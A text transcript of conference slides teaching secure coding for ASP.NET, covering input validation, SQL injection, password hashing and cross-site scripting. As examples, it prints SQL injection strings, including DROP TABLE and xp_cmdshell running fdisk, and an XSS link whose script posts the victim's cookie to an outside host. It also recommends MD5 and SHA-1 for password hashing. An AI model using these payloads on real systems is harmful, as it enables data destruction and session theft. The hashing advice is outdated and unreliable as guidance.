Transcript Best Practices for Writing Secure Code Query String

Writing Secure Code
for ASP .NET
Stephen Forte
CTO, Corzen Inc
Microsoft Regional Director NY/NJ (USA)
Sofia, Bulgaria | 9-10 October
Speaker.Bio.ToString()
● CTO and co-Founder of Corzen, Inc
● Microsoft MVP and INETA Speaker
● International Conference Speaker for 9+ Years
● Wrote a few books on databases and development
● Co-moderator & founder of NYC .NET Developers
Group
● http://www.nycdotnetdev.com
● Former CTO of Zagat Survey
Sofia, Bulgaria | 9-10 October
Agenda
● Why Care?
● Best Practices for Writing Secure Code
● Query String and Input Validation
● SQL Injection
● Storing Secret Data
● Exception Handling
● XSS and HTML Management
Sofia, Bulgaria | 9-10 October
What we won’t cover
● Administrative Security
● Authentication and Authorization from
an Admin level
● Code Access Security from an Admin
level
● Cryptology
Sofia, Bulgaria | 9-10 October
Agenda
● Why Care?
● Best Practices for Writing Secure Code
● Query String and Input Validation
● SQL Injection
● Storing Secret Data
● Exception Handling
● XSS and HTML Management
Sofia, Bulgaria | 9-10 October
Writing Secure Code
● Developers usually think that security is
an administrative problem, not a coding
problem
● While several security issues are
administrative in nature, you can write
secure code to protect your application
● Some simple changes to your coding
style can result in massive security
holes closed
Sofia, Bulgaria | 9-10 October
Agenda
● Why Care?
● Best Practices for Writing Secure Code
● Query String and Input Validation
● SQL Injection
● Storing Secret Data
● Exception Handling
● XSS and HTML Management
Sofia, Bulgaria | 9-10 October
Input and Query String Validation
● All user input is evil!
● Not properly validating user input can
lead to:
● SQL Injection
● XSS (Cross Site Scripting)
Sofia, Bulgaria | 9-10 October
Do Not Trust User Input
● Validate all input
● Guilty until proven innocent: assume all input is
bad until you prove otherwise
● Look for valid data and reject everything else
● Don’t assume that your client validations were
applied, revalidate on the server (a hacker can
bypass your client scripting)
● Avoid Query Strings altogether if possible
Sofia, Bulgaria | 9-10 October
Ways to Validate Input
● Client Side:
● Validation Controls
● Server Side:
● Regular Expressions (RegEx) are your
friend
● Validate for TLRF:
● Type checks
● Length checks
● Range checks
● Format checks
Validator.ValidationExpression =
Sofia, Bulgaria | 9-10 October
"\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*";
Proper Validation
Sofia, Bulgaria | 9-10 October
Agenda
● Why Care?
● Best Practices for Writing Secure Code
● Query String and Input Validation
● SQL Injection
● Storing Secret Data
● Exception Handling
● XSS and HTML Management
Sofia, Bulgaria | 9-10 October
What is SQL Injection?
● What is SQL Injection?
● The process of adding SQL statements in
user input
● Used by hackers to:
● Probe databases and call built-in stored
procedures
● Bypass authorization (adding records into
custom login tables)
● Execute multiple SQL statements to delete
data or drop tables
Sofia, Bulgaria | 9-10 October
Examples of SQL Injection
strSQL = "SELECT * FROM"
+ " Orders WHERE OrderID ='"
+ ID + "'";
● If the ID variable is read directly from a
Windows form textbox, the user could
enter any of the following:
● 21001' or 1=1 -● 21001' DROP TABLE OrderDetail -● 21001' exec xp_cmdshell('fdisk.exe') -Sofia, Bulgaria | 9-10 October
Preventing SQL Injection
● All User Input is Evil!
● Validate all input twice
● Client side validation controls
● Server Side manual validation for Type,
Length, Format, and Range using RegEx
● Use Stored Procedures!
● Run with least privilege
● Never execute as “sa”
● Consider two databases with 2 logins
● Remove access to all tables and restrict
access to built-in stored procedures (reduces
Sofia, Bulgaria | 9-10 October
attack surface)
SQL Injection
Sofia, Bulgaria | 9-10 October
Agenda
● Why Care?
● Best Practices for Writing Secure Code
● Query String and Input Validation
● SQL Injection
● Storing Secret Data
● Exception Handling
● XSS and HTML Management
Sofia, Bulgaria | 9-10 October
Storing Secret Data
● Your application should not store secret
data (passwords, etc)
● If you must store secret data, do not
encrypt it in the database
● Hackers may guess or get the key
● Store a hashed representation of the
data
Sofia, Bulgaria | 9-10 October
What is a Hash?
● A mathematical formula that converts a message of
any length into a unique fixed-length string of digits
(typically 160 bits) known as "message digest" that
represents the original message.
● A hash is a one-way function - that is, it is infeasible
to reverse the process to determine the original
message.
● A hash function will not produce the same message
digest from two different inputs.
● The MD5 and SHA-1 algorithms are two of the most
popular algorithms although any cryptosystem can
be used to create a hash function (as, indeed, any
cryptographically secure hash can be used to create
a cryptosystem).
Sofia, Bulgaria | 9-10 October
Storing a Password Hash
● Will only store the message digest
(hash) of the password in the database
not the actual password.
● When a user comes back to the site they
will have to provide the password and
you will then recompute the hash of that
password and compare them.
● So you are only storing the verifier in
the database, not the actual password.
Sofia, Bulgaria | 9-10 October
Random Salting a Hash
● Problem: If you know the password of a user,
and some other user happens to have the
same hash, then you know both have the
same password
● A hacker can exploit this with a dictionary
attack
● To “salt” a hash, generate a random string
and prefix it to the clear password before
hashing it.
● Save both the salt and the hashed password
in the Users table.
Sofia, Bulgaria | 9-10 October
● Drastically diminishes a dictionary attack
Pros and Cons
● Pros:
● Easy to set up
● Protects against disgruntled corporate
users
● If the database is cracked, the hacker
will not have and passwords-the hash is
useless (remember a Hash is 1 way)
● Cons:
● Cannot send a user their password if
they forget, you will have to reset it for
them
Sofia, Bulgaria | 9-10 October
Hashed Password
Values
Sofia, Bulgaria | 9-10 October
Agenda
● Why Care?
● Best Practices for Writing Secure Code
● Query String and Input Validation
● SQL Injection
● Storing Secret Data
● Exception Handling
● XSS and HTML Management
Sofia, Bulgaria | 9-10 October
Exception Handling
● Never ever show the default ASP .NET
debug page
● Never show trace information
● Never reveal any debug information to
the user
Sofia, Bulgaria | 9-10 October
Audit Everything
● Make sure everything that happens on
your site is reproducible
● Do not rely on IIS logs, audit your code
● Commercial products to do this
Sofia, Bulgaria | 9-10 October
Proper Exception
Handling
Sofia, Bulgaria | 9-10 October
Agenda
● Why Care?
● Best Practices for Writing Secure Code
● Query String and Input Validation
● SQL Injection
● Storing Secret Data
● Exception Handling
● XSS and HTML Management
Sofia, Bulgaria | 9-10 October
What Is Cross-Site Scripting?
● A technique that allows hackers to:
● Execute malicious script in a client’s
Web browser
● Insert <script>, <object>, <applet>,
<form>, and <embed> tags
● Steal Web session information and
authentication cookies
● Access the client computer
Any Web page that renders HTML
containing user input is vulnerable
Sofia, Bulgaria | 9-10 October
Two Common Exploits of CrossSite Scripting
● Attacking Web-based e-mail platforms
and discussion boards
● Using HTML <form> tags to redirect
private information
Sofia, Bulgaria | 9-10 October
Form-Based Attacks
(1 of 2)
Response.Write("Welcome" &
Request.QueryString("UserName"))
Sofia, Bulgaria | 9-10 October
Form-Based Attacks
(2 of 2)
<a href=http://www.contoso.msft/welcome.asp?name=
<FORM action=http://www.
nwtraders.msft/data.asp
method=post id=“idForm”>
<INPUT name=“cookie” type=“hidden”>
</FORM>
<SCRIPT>
idForm.cookie.value=document.cookie;
idForm.submit();
</SCRIPT> >
here
</a>
Sofia, Bulgaria | 9-10 October
Defending Against Cross-Site
Scripting Attacks
● Do not:
● Trust user input
● Echo Web-based user input unless you
have validated it
● Store secret information in cookies
● Do:
● Use the HttpOnly cookie option
● Use the <frame> security attribute
● Take advantage of ASP.NET features
Sofia, Bulgaria | 9-10 October
Protection
● Use HTMLEncode and URLEncode
● Use RegEx to remove any script of
HTML code from user input
Sofia, Bulgaria | 9-10 October
Defending Against Cross-Site
Scripting Attacks
● Do not:
● Trust user input
● Echo Web-based user input unless you
have validated it
● Store secret information in cookies
● Do:
● Use the HttpOnly cookie option
● Use the <frame> security attribute
● Take advantage of ASP.NET features
Sofia, Bulgaria | 9-10 October
Cross Site Scripting
Sofia, Bulgaria | 9-10 October
Questions?
Sofia, Bulgaria | 9-10 October
Thanks!
● Please fill out your evaluation form!
● [email protected]
● Please put (Secure ASP .NET in the
subject)
Sofia, Bulgaria | 9-10 October